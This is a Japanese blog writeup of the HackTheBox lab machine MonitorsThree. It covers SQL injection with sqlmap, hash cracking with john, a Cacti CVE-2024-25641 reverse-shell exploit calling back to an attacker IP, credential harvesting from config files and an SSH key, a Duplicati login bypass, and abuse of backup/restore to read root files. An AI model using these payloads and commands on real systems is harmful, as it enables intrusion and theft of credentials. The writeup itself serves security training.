0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】MonitorsThree:Writeup

Posted at

概要

HackTheBox「MonitorsThree」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sVC -T4 -A -p- -oN nmap_result 10.10.11.30
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http nginx 1.18.0

ドメインが分かったので/etc/hostsに追記します。

10.10.11.30     monitorsthree.htb

80番ポートにアクセスします。

image.png

ディレクトリスキャンをします。

$ dirsearch -u http://monitorsthree.htb

301   178B   http://monitorsthree.htb/js    -> REDIRECTS TO: http://monitorsthree.htb/js/
301   178B   http://monitorsthree.htb/admin    -> REDIRECTS TO: http://monitorsthree.htb/admin/
403   564B   http://monitorsthree.htb/admin/
301   178B   http://monitorsthree.htb/css    -> REDIRECTS TO: http://monitorsthree.htb/css/
301   178B   http://monitorsthree.htb/fonts    -> REDIRECTS TO: http://monitorsthree.htb/fonts/
403   564B   http://monitorsthree.htb/images/
301   178B   http://monitorsthree.htb/images    -> REDIRECTS TO: http://monitorsthree.htb/images/
403   564B   http://monitorsthree.htb/js/
200     4KB  http://monitorsthree.htb/login.php

/login.phpでログインフォームが表示されました。

image.png

さらに、/forgot_password.phpに遷移し、' or 1=1のような値を入力すると、SQLエラー文が表示されたのでSQLインジェクション出来そうです。
また、エラー文からSQLにはMariaDBが使用されていると分かりました。

image.png

Sqlmapを実行すると、time based blind sql injectionの脆弱性があると分かりました。

$ sqlmap -r forgot_pass_request.txt --batch --risk 3

sqlmap identified the following injection point(s) with a total of 98 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 9582 FROM (SELECT(SLEEP(5)))vPiy) AND 'CvOL'='CvOL
---
[04:03:54] [INFO] the back-end DBMS is MySQL

データベースの列挙をします。

$ sqlmap -r forgot_pass_request.txt --batch --risk 3 --dbms=MySQL --dbs

available databases [2]:
[*] information_schema
[*] monitorsthree_db

monitorsthree_dbのテーブル情報を列挙します。

$ sqlmap -r forgot_pass_request.txt --batch --risk 3 --dbms=MySQL -D monitorsthree_db --tables

Database: monitorsthree_db                                                                                     
[6 tables]                                                                                                     
+---------------+
| changelog     |
| customers     |
| invoice_tasks |
| invoices      |
| tasks         |
| users         |
+---------------+

usersテーブルの情報を列挙します。

$ sqlmap -r forgot_pass_request.txt --batch --risk 3 --dbms=MySQL -D monitorsthree_db -T users --dump

Database: monitorsthree_db
Table: users
[4 entries]
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob        | email                       | name              | salary    | password                         | username  | position              | start_date |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| 2  | 1978-04-25 | admin@monitorsthree.htb     | Marcus Higgins    | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin     | Super User            | 2021-01-12 |
| 5  | 1985-02-15 | watson@monitorsthree.htb    | Michael Watson    | 75000.00  | c585d01f2eb3e6e1073e92023088a3dd | mwatson   | Website Administrator | 2021-05-10 |
| 6  | 1990-07-30 | janderson@monitorsthree.htb | Jennifer Anderson | 68000.00  | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer      | 2021-06-20 |
| 7  | 1982-11-23 | dthompson@monitorsthree.htb | David Thompson    | 83000.00  | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager      | 2022-09-15 |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+

複数アカウントのパスワードハッシュを取得できました。

pass_hash.txt
admin:31a181c8372e3afc59dab863430610e8
mwatson:c585d01f2eb3e6e1073e92023088a3dd
janderson:1e68b6eb86b45f6d92f8f292428f77ac
dthompson:633b683cc128fe244b00f176c8a950f5

ハッシュ値を解析すると、adminアカウントのパスワードを得られました。

$ john pass_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5

greencacti2001   (admin)

得られた認証情報でadminアカウントにログイン出来ました。

image.png

ダッシュボードで悪用できそうなものがなかったので再度列挙をします。
サブドメインを列挙すると、cactiを発見したので/etc/hostsに追記します。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.monitorsthree.htb" -u http://monitorsthree.htb -fs 13560

cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 257ms]

アクセスするとログインページが表示され、version 1.2.26だと分かりました。

image.png

既に得られたUsername: admin,Password: greencacti2001でログインに成功しました。

image.png

Cacti version 1.2.26の脆弱性を探すとAuthenticated RCEのCVE-2024-25641脆弱性が見つかりました。

PoCは下記リポジトリを使用しました。

PoCを実行し、www-dataのシェルを取得できました。

$ python3 exploit.py --url http://cacti.monitorsthree.htb -u admin -p greencacti2001 -i 10.10.14.15 -l 1234 
Cacti Instance Found!
Login Successful!
Package Import finalized
Triggering shell..... make sure you've started the listener
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.30] 57586
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

TTYの設定をします。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

marcusアカウントへの昇格が必要そうです。

$ ls -la /home
ls -la /home
total 12
drwxr-xr-x  3 root   root   4096 May 26  2024 .
drwxr-xr-x 18 root   root   4096 Aug 19 13:00 ..
drwxr-x---  4 marcus marcus 4096 Aug 16 11:35 marcus

cactiのconfigファイルを検索します。

$ find ./ -name *config* 2>/dev/null
find ./ -name *config* 2>/dev/null
./include/config.php
./include/config.php.dist
./include/vendor/flag-icons/svgo.config.js

/html/cacti/include/config.phpを確認すると、MySQLの認証情報を入手できました。

/html/cacti/include/config.php
<?php

(省略)

$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port     = '3306';

MySQLにログインし、cactiデータベースを発見したので探索します。

$ mysql -u cactiuser -p

MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| cacti              |
| information_schema |
| mysql              |
+--------------------+

user_authテーブルから複数アカウントの情報を入手できました。

MariaDB [cacti]> select * from user_auth
select * from user_auth
    -> ;
;
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| id | username | password                                                     | realm | full_name     | email_address            | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
|  1 | admin    | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |     0 | Administrator | marcus@monitorsthree.htb |                      |                 | on        | on        | on           | on             |          2 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 | -1               |        |               0 |        0 |   436423766 |
|  3 | guest    | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |     0 | Guest Account | guest@monitorsthree.htb  |                      |                 | on        | on        | on           |                |          1 |             1 |            1 |            1 |                      1 |         |         -1 |        -1 | -1               |        |               0 |        0 |  3774379591 |
|  4 | marcus   | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |     0 | Marcus        | marcus@monitorsthree.htb |                      | on              | on        | on        | on           | on             |          1 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 |                  |        |               0 |        0 |  1677427318 |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
3 rows in set (0.000 sec)

marcusのパスワードハッシュ解析に成功し、パスワードを特定できました。

$ john marcus_hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt

12345678910      (?)

得られたパスワードでmarcusアカウントに昇格出来ました。

www-data@monitorsthree:~/html/cacti/include$ su marcus
su marcus
Password: 12345678910

marcus@monitorsthree:/var/www/html/cacti/include$ whoami
whoami
marcus

/home/marcus/.ssh/id_rsaからSSHの秘密鍵を入手できました。

$ cat /home/marcus/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAqgvIpzJXDWJOJejC3CL0m9gx8IXO7UBIfGplG1XCC6GhqPQh8OXK

(省略)

秘密鍵でSSH接続に成功しました。

$ ssh -i id_rsa marcus@monitorsthree.htb 
Last login: Sat Nov 30 11:50:57 2024 from 10.10.14.176
marcus@monitorsthree:~$

/home/marcus/user.txtからユーザーフラグを入手できました。

marcus@monitorsthree:~$ cat user.txt
cat user.txt
997ffb1fdd3b2d51490c1ac8d0fe57b4

Root Flag

linpeasを実行し、ローカルの8200ポートの動作を確認できました。

$ ./linpeas.sh

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                              
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8084            0.0.0.0:*               LISTEN      1176/mono           
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1201/nginx: worker  
tcp        0      0 127.0.0.1:8200          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:35007         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      1201/nginx: worker

/opt/docker-compose.ymlを発見したので見ると、duplicatiというバックアップサービスがDockerの8200で動作していると分かりました。

/opt/docker-compose.yml
version: "3"

services:
  duplicati:
    image: lscr.io/linuxserver/duplicati:latest
    container_name: duplicati
    environment:
      - PUID=0
      - PGID=0
      - TZ=Etc/UTC
    volumes:
      - /opt/duplicati/config:/config
      - /:/source
    ports:
      - 127.0.0.1:8200:8200
    restart: unless-stopped

SSHポートフォワーディングをします。

$ ssh -L 8200:127.0.0.1:8200 -i id_rsa marcus@monitorsthree.htb

アクセスするとログインページが表示されました。

image.png

/opt/duplicati/configからDuplicati-server.sqliteを発見したのでダウンロードしてみます。

$ ls -la
total 3208
drwxr-xr-x 4 root root    4096 Dec  2 11:50 .
drwxr-xr-x 3 root root    4096 Aug 18 08:00 ..
drwxr-xr-x 3 root root    4096 Aug 18 08:00 .config
drwxr-xr-x 2 root root    4096 Aug 18 08:00 control_dir_v2
-rw-r--r-- 1 root root 2781184 Dec  2 11:38 CTADPNHLTC.sqlite
-rw-r--r-- 1 root root   90112 Dec  2 11:50 Duplicati-server.sqlite
-rw------- 1 root root  208896 Dec  2 11:50 RXMCDALTCQ.sqlite
-rw------- 1 root root  180224 Dec  2 11:48 XTFRFSRTBV.sqlite

Optionテーブルを確認するとパスフレーズやソルトを得られました。

image.png

duplicatiのエクスプロイトを探しているとパスフレーズとソルトでログインバイパスできる記事を見つけました。
これを参考にして進めます。

パスフレーズの値をbase64->Hexの順で変換します。

image.png

BurpのInterceptをOnにし、ログインの一つ目のPOSTリクエストをフォワードします。
そうすると、Nonce,Saltを確認できました。
SaltはダウンロードしたDuplicati-server.sqliteの値と一致しています。

image.png

ブラウザの開発者モードを開きConsoleに下記をコピペします。

var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('<フォワードしたNonce>') + '<パスフレーズのHex>')).toString(CryptoJS.enc.Base64);

<フォワードしたNonce>に最初のPOSTリクエストで得られたNonce,パスフレーズのHexには先ほど変換したパスフレーズのHexの値を入れます。
コードを実行し、noncedpwd変数の値を確認します。

image.png

得られた値をURLエンコードし、次のPOSTリクエストのpasswordの値に置き換えます。

image.png

ログイン認証のバイパスに成功し、Duplicatiのダッシュボードにアクセスできました。

image.png

Dockerで//sourceにマウントしているので、Duplicatiのバックアップ機能を悪用してルートフラグファイルを取得できそうです。

/opt/docker-compose.yml
version: "3"

services:
  duplicati:
    image: lscr.io/linuxserver/duplicati:latest
    container_name: duplicati
    environment:
      - PUID=0
      - PGID=0
      - TZ=Etc/UTC
    volumes:
      - /opt/duplicati/config:/config
      - /:/source
    ports:
      - 127.0.0.1:8200:8200
    restart: unless-stopped

Add backupConfigure a new backupを選択します。

image.png

Name,Passphraseは適当に設定します。

image.png

バックアップ先を/source/tmpにします。

image.png

ソースデータに/source/root/root.txtを指定します。

image.png

そのまま最後の設定まで進み、Saveで保存します。
設定が完了するとバックアップタスクがHomeに追加されます。

image.png

Run nowをクリックすると、/tmp配下に/source/root/root.txtのバックアップファイルが作成されます。

$ ls -la
total 84
drwxrwxrwt 13 root     root     4096 Dec  2 13:30  .
drwxr-xr-x 18 root     root     4096 Aug 19 13:00  ..
-rw-r--r--  1 root     root      941 Dec  2 13:30  duplicati-20241202T133053Z.dlist.zip.aes
-rw-r--r--  1 root     root     1021 Dec  2 13:30  duplicati-bbaf0d348f9724b578bb35f3547b2117f.dblock.zip.aes
-rw-r--r--  1 root     root      925 Dec  2 13:30  duplicati-i15cec6fe88f94446adf3cae215135f71.dindex.zip.aes

バックアップファイルを復元してroot.txtを取り出します。
Restoreから新たに作成したバックアップタスクを選択します。

image.png

リストアするファイルを選択します。

image.png

リストア先を指定します。
Pick location->Folder path/source/tmpにします。

Permissionsのチェック項目もTrueにします。

image.png

リストアが成功しました。

image.png

リストア処理が終わると/tmproot.txtを確認できます。

$ ls -la
total 88
drwxrwxrwt 13 root     root     4096 Dec  2 13:32  .
drwxr-xr-x 18 root     root     4096 Aug 19 13:00  ..
-rw-r--r--  1 root     root      941 Dec  2 13:30  duplicati-20241202T133053Z.dlist.zip.aes
-rw-r--r--  1 root     root     1021 Dec  2 13:30  duplicati-bbaf0d348f9724b578bb35f3547b2117f.dblock.zip.aes
-rw-r--r--  1 root     root      925 Dec  2 13:30  duplicati-i15cec6fe88f94446adf3cae215135f71.dindex.zip.aes
-rw-r--r--  1 root     root       33 Dec  2 13:24  root.txt

ルートフラグの取得に成功しました。

$ cat root.txt 
864790f3851dec9d90cd699ca4323d0f
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?